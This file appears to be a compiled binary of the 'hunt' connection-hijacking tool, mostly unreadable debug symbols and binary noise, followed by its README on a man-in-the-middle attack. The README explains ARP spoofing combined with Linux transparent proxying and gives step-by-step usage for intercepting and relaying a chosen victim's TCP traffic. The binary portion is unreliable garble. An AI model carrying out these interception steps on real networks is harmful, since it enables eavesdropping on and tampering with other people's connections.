29),0,32;\frag:(49,4)=s4__unused:(23,28),0,16;mtu:(23,28),16,16;;,0,32;;,32,32;;icmp_ra_addr:T(49,5)=s8ira_addr:(23,29),0,32;ira_preference:(23,29),32,32;;ih_idseq:T(49,6)=s4icd_id:(23,28),0,16;icd_seq:(23,28),16,16;;ih_pmtu:T(49,7)=s4ipm_void:(23,28),0,16;ipm_nextmtu:(23,28),16,16;;ih_rtradv:T(49,8)=s4irt_num_addrs:(23,27),0,8;irt_wpa:(23,27),8,8;\irt_lifetime:(23,28),16,16;;icmp:T(49,9)=s28icmp_type:(23,27),0,8;icmp_code:(23,27),8,8;\icmp_cksum:(23,28),16,16;icmp_hun:(49,10)=u4ih_pptr:(23,1),0,8;\ih_gwaddr:(44,3),0,32;ih_idseq:(49,6),0,32;\ih_void:(23,29),0,32;ih_pmtu:(49,7),0,32;ih_rtradv:(49,8),0,32;;,32,32;\icmp_dun:(49,11)=u20id_ts:(49,12)=s12its_otime:(23,29),0,32;\its_rtime:(23,29),32,32;its_ttime:(23,29),64,32;;,0,96;\id_ip:(49,13)=s20idi_ip:(43,6),0,160;;,0,160;\id_radv:(49,5),0,64;id_mask:(23,29),0,32;id_data:(49,14)=ar(0,1);0;0;(23,27),0,8;;,64,160;;tcphdr:T(50,1)=s20source:(23,28),0,16;dest:(23,28),16,16;\seq:(23,29),32,32;ack_seq:(23,29),64,32;res1:(23,28),96,4;\doff:(23,28),100,4;fin:(23,28),104,1;syn:(23,28),105,1;\rst:(23,28),106,1;psh:(23,28),107,1;ack:(23,28),108,1;\urg:(23,28),109,1;res2:(23,28),110,2;window:(23,28),112,16;\check:(23,28),128,16;urg_ptr:(23,28),144,16;; :T(50,2)=eTCP_ESTABLISHED:1,TCP_SYN_SENT:2,TCP_SYN_RECV:3,\udphdr:T(51,1)=s8source:(23,28),0,16;dest:(23,28),16,16;\len:(23,28),32,16;check:(23,28),48,16;;timejob_list:G(75,1)timejob_mutex:G(72,12)timejob_cond:G(72,7)timejob_curr_cond:G(72,7)timejob_run_cond:G(72,7)timejob_curr:G(21,26)timejob_run:G(0,1)__register:f(0,1)tj:p(21,26)li:(75,3)insert_it:(0,1)p:r(21,26)register_timejob:F(0,19)tj:r(21,26)register_timejob_rel:F(0,19)relsec:p(0,1)relsec:r(0,1)tv:(56,1)register_timejob_milsec_rel:F(0,19)milsec:p(0,1)milsec:r(0,1)msec:r(0,1)unregister_timejob:F(0,19)timejob_thread:f(6,2)arg:p(6,2)timeout:(31,1)timer_init:F(0,19)timer_done:F(0,19)timejob_thr:G(72,17)pktrelay.c/usr/include/fcntl.h/usr/include/bits/fcntl.hflock:T(90,1)=s16l_type:(0,8),0,16;l_whence:(0,8),16,16;\l_start:(7,23),32,32;l_len:(7,23),64,32;l_pid:(7,25),96,32;;relay_item:T(0,20)=s216mutex:(57,12),0,192;lock_cond:(57,7),192,96;\lock_count:(0,1),288,32;src_addr:(0,4),320,32;\src_mask:(0,4),352,32;dst_addr:(0,4),384,32;dst_mask:(0,4),416,32;\src_ports:(1,34),448,544;dst_ports:(1,34),992,544;\flags:(0,4),1536,32;ethtap_fd:(0,1),1568,32;ethtap_name:(7,35),1600,32;\ethtap_mac:(1,32),1632,48;next:(0,21)=*(0,20),1696,32;;l_relay_db:S(60,1)ri_want:f(0,19)ri:p(0,21)ri:r(0,21)ri_release:f(0,19)ri_wait_for_release:f(0,19)ri_allocate:f(0,21)ri_free:f(0,19)packet_match_relay:f(0,21)ethtap_relay:F(0,19)process_pktrelay:F(0,1)relay_item_print:f(0,19)buf_src_ports:(0,22)=ar(0,1);0;511;(0,2)buf_dst_ports:(0,23)=ar(0,1);0;511;(0,2)flags:(0,25)=ar(0,1);0;511;(0,2)relay_list_items:f(0,19)relay_add_item:f(0,19)name_buf:(0,28)=ar(0,1);0;127;(0,2)name_buf2:(0,29)=ar(0,1);0;255;(0,2)ethtap_mac:(1,32)flags_c:(0,1)ethtap_fd:(0,1)relay_mod_item:f(0,19)src_ports:(0,30)=ar(0,1);0;16;(0,1)dst_ports:(0,31)=ar(0,1);0;16;(0,1)name_buf:(0,32)=ar(0,1);0;127;(0,2)name_buf2:(0,33)=ar(0,1);0;255;(0,2)flags_dfl:r(0,2)relay_del_item:f(0,19)relay_menu:F(0,19)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)01.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.0101.01.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.got.rel.bss.rel.plt.init.plt.text.fini.rodata.data.eh_frame.ctors.dtors.got.dynamic.bss.stab.stabstr.comment.note# 1((7 88?HH #GollTo00`c l (u  ~/pp@@- ; IIIIxLLKLx L )@&-DJ/4*. _&(8Hl0    p @L  "  -1?K at   "      @ U  ~ s . 9} JD YPh,  x8P  LO @ ܦ@ @ \@ @ ܧ  h   , p (m 6 C8 IP _< mX ~p5 h 4,_ p<  0 hr $+8<<MSY` $ l|@  @ `-@6 FdG V_ e j vx^ @ T l  ? @ @ ' G / H K \n qZ | d w ( `   P_ C c `@#,7CHS ]| j a ~,` L   o @! !? " 8&a 408@<%2;H/ Y40 n1 1, 3 4 | @ @@1@C@O_:} u; \< (>V \?! ?; ?B 0E F F  F ! F + Hy = G S TI d DJ z L5 TL M M O XQ@ Q7  QV  (R ' T 7 Uv J DV7 ^ |V x @@ XE \X Z   @ @ \v \q  l]/  _A . _ : a G b Y j y  h  l lM lT ] PG`t p:P.: =p d  W @'  0oBP: L0 ]' i4N y$ # "ГI ;=&0H CD UXb$ ~y  A (? Ig 8~    I"/| ?W Q b 0Į h 8 `; @H@ & = GPfc`{>[  K pH D 8 (  +@D3 K Qq@   2"@|   ;0 d Д8 E/"X6 clc wxm tg & "`J ZU  ܴN #`+hx 5tAP% Ne [dy i%G yH ,< @ rN    : P! 2:/X9 = :Sx# f w  g @40G f Z  МM @AH  )u 5p <qi GP-o RP)d`Jp"8b iE x6 N  ' "  +] 0TEQf Z  h u~P  R 4<  r7  pqB -  $ +"BXT QT_8C nk[ @pr  Еft 'N @[  @f )Z 5,T E0R X9 b`q  ,B @" `j8 h[ < - =T# Hlu U"hȨD u1\W  \ (% )h3 DJ Q "D 1 /"Cp| _e0>w r ~ 4H P @ 8  P >   L ,  > `KR  c p;"{ \  b , F  |o TY K!;,!D!(} N!Ж^!t8 e!o r! {!4 ! !G!h !|o !Z!! "PE ",""<"xA"Q" ="b"~! n"(( |"A "D "D$ "H\0 "0F""@} "@o" # #% !#R /#PB#: S#Z f#`yw#o #, #p##@#D# $D/W $0$ B$T$/B i$;"y$. $B $.N $K$$З$$@z $% %:"%Hg 2%@@?%S%:"i%@u% %2 %Bb % %D %o"% G%  %x % h & &0/"&3& * */ DISCLAIMER ---------- Authors are not responsible of any damages this software can cause. NEW DIRECTION IN THE MAN IN THE MIDDLE ATTACK --------------------------------------------- The man in the middle attack is well known attack where you receive/sniff packets from network, modify them and insert them back to the network. In fact the routers/gateways do exactly this but they modify only some IP headers in the IP packets so they do not reassemble data stream. Furthermore sniffer or host running hunt does not usually act as a router. Through ARP spoofing we can manage that instead to the router or ordinary destination host the originator of connection will send traffic to as. But there is another problem. How to deal with TCP stream that is in IP packets. We can try to reassemble it in our user code as most more sophisticated sniffers do but this task is very costly (in terms of programming work) and to handle full TCP state machine with all its options, features, etc. is not simply easy task. We would prefer that this job will do someone else, let say Linux kernel. And this is one of the reasons why I like Linux very much. We will use the transproxy capability of Linux to reassemble data stream from IP packets and the user code will handle only application data as does destination host. Even though the approach is not fully transparent currently for source nor destination host and is not able to handle connections that are in the progress already but the concept is here and with some hooks it would be probably possible to extend it to fully transparent solution. USED TERMINOLOGY ---------------- I use the term "src" (source) host for the host that originated TCP connection and "dst" (destination) host for the host to which "src" host tries to connect. (It might be sometimes confusing with ARP spoofing terminology used in ARP spoof attack - see README). Of course data can flow from destination to source as well. ARP SPOOFING AND REDIRECTING THE TRAFFIC ---------------------------------------- One of the method used to redirect traffic on ethernet to hunt program is arp spoofing. We have to manage to persuade the host that the ethernet hardware address (MAC) of router or destination host is something different and then listen for packets with that fake MAC from source host. The host will think the destination is simply on different MAC so we will have the chance to sniff that packets. This approach has two nice features. One, the destination host will not receive this traffic unless it is in promiscuous mode (as usually isn't), second, we will see the traffic even when we are on completely switched port. This concept is already well known from previous versions of hunt so it is nothing new to as but transproxy support relies on it. RECEIVING/SENDING DATA FROM/TO SOURCE HOST ------------------------------------------ Now how we can receive packets from src host? We can do that by simply picking the traffic from interface in promiscuous mode (when we are using fake mac ARP spoofing) and try to reassemble it. But there is more sophisticated solution (it has some drawbacks though as nothing is at zero cost). If we will use our interface mac address as the fake mac address which we will claim is a mac address of someone else and convince remote host that our mac address is actually mac address of the destination host then the src host will send the traffic with the IP address of destination but with our interface MAC address. In this case we can setup transproxy redirection in kernel so such a traffic that come to our mac address with destination (not our) IP address will be picked up by kernel and redirected to another TCP port. That means the kernel will do complete reassembly and TCP state machine and we then can read that data form the socket to which the traffic was redirected. The transproxy mode has one nice capability. When we write to that socket back some data then the IP packets carrying data will have true destination IP address and not the address of our host. So the source machine can receive our packets with correct source/destination IP numbers. The connection will really look like from source to destination (and not from source to our host). Recall that we are using our interface MAC address because if we used some fake one then the Linux kernel would not pick up packets from the network for transproxy delivery. It would be a nice feature if the Linux interface in promiscuous mode could pick up and deliver the packets of configurable (not only host interface) MAC address to the TCP/IP stack for transproxy redirection. RECEIVING/SENDING DATA FROM/TO DESTINATION HOST ----------------------------------------------- So we have the traffic from one end (from the host who originated the connection). Unfortunately the transparency for destination side is not ready yet. Currently the program that runs on our host and receives redirected data from source has to make some ordinary connections - probably to the destination host, so the connection will look like from our host to dst host. (We would prefer of course that it will look like from source to destination but it is not done currently). DEVELOPING TRANSPROXY PROGRAMS ------------------------------ The major feature of using transproxy support in the kernel is the fact that we do not have to reassemble TCP stream or handle anything behind TCP. The transproxy user programs that do all the magic with data are ordinary programs that use socket interface. We just read/write from/to sockets. There are plenty of books out there to describe how to use sockets. Assigning proper IP addresses, port numbers etc does Linux kernel. That is nice, isn't it. NEW OPTIONS IN HUNT ------------------- The changes to support all this was done mainly in arp spoof daemon. It now supports ARP spoof of IP ranges and even hosts that are currently down. So immediately after the host boots and tries to communicate with some destination the hunt automaticly spoof that host. Host that is down (or disconnected from the network) does not prevent as doing ARP spoof on it. In the case that host is down the ARP spoof will be simply deferred to the time host boots and tries to communicate - hunt will inform as that it is not able to find MAC address of that host and let as proceed further. But we do not need these new options if we are spoofing just one host. New options in ARP spoof daemon menu: L) List ranges of IP addresses that was inserted through I) I) Insert IP range of hosts to which you want to insert some fake MAC address of a host. R) Remove IP range spoof of hosts T) Test IP range spoof of hosts These options can be used with normal connection sniffing and hijacking of course. Use rather l,i,r,t options (lower case) when you are spoofing just single host. TRANSPROXY SUPPORT PROGRAMS --------------------------- There are new directories and programs. tpsetup/transproxy is a program to start transproxy mode in Linux kernel. Make sure you have compiled the kernel with transproxy support (you have to enable IP_FIREWALL option and ALWAYS_DEFRAGMENT and IP_TRANSPARENT_PROXY options when you compile the kernel) and have ipchains installed. The knowledge how plain transproxy works (from the user point of view) is of course big plus for you and you will then be able to understand what is going on and what I am actually describing. The script contains two variables that control on which port it listens and to which port the traffic will be redirected. The DST_PORT is the port to which ordinary clients (source hosts) tries to connect. The DST_PORT_PROXY is the port to which the data are redirected and on which listens transproxy user program that does all the black magic with data stream. tpserv/tpserv is a program that implements the proxy, the attack or whatever you want to call it. It just listens on DST_PORT_PROXY that is configurable with -p option and receives the reassembled data stream from kernel. Currently this program supports a mode in which echoes everything back to the src host or the mode in that it connects to destination to which the client wanted to connect and relay everything from client to that destination and everything from destination to the client. (See the limitations on how the connection will look like on destination host). It is possible to insert some code to this program to modify data from/to source/destination (but this you will have to do yourself) The tpserv program supports these options: -v verbose (prints connections) -vv even more verbose (prints connections and received/send packets) -D daemon mode -c connection mode (default is echo mode) HOW IT WORKS TOGETHER --------------------- Here is small example how to use it. Of course as always with hunt, think before and then run or modify it. 1. At the beginning run tpsetup/transproxy program. The default destination port is 7000 and redirecting port is 7044 2. Run tpserv/tpserv -v (or -vv) 3. Run hunt and enter arp spoof daemon menu. Do not start the daemon unless you modify the tpsetup/transproxy script "i" insert the single arp spoof in this order: - IP address (name) of your gateway or IP address (name) of destination host if the host is in the same IP subnet as source host - as fake mac address enter 'my' or enter your interface MAC address - enter IP address (name) of source host (client) from which you want to receive data - connections. - optionally enter refresh interval "t" test if the spoof was successful 4. from the source host try to run telnet 1.1.1.1 7000 (or telnet destination_name 7000) and type some chars. The chars should be echoed back. You can then play little bit with DST_PORT setting in setup/transproxy script and/or -c option of tpserv program or change tpserv to modify data going from/to source/destination. FEATURES -------- - the connection from source looks like from source to destination - the Linux kernel does all the TCP/IP processing - the user code does not have to deal with raw TCP stream and implements only user data processing/modification LIMITATIONS ----------- - we have to use our host MAC address as fake spoofing MAC address, the traffic from source to destination will have this MAC address - traffic to the destination is originated form our host so it really looks like from our host to destination if used. - it is possible to start only from newly created connections, it is not possible to handle ongoing connections Be aware of limitations. As I said it does not work fully transparent so maybe you will be little bit disappointed that the destination host does not see the original client IP address. Maybe this limitation will be removed in the future but I do not promise anything ;-) BUG FIXES, SUGGESTIONS ---------------------- Please send bug descriptions, patches, suggestions, or successful stories to kra@gncz.cz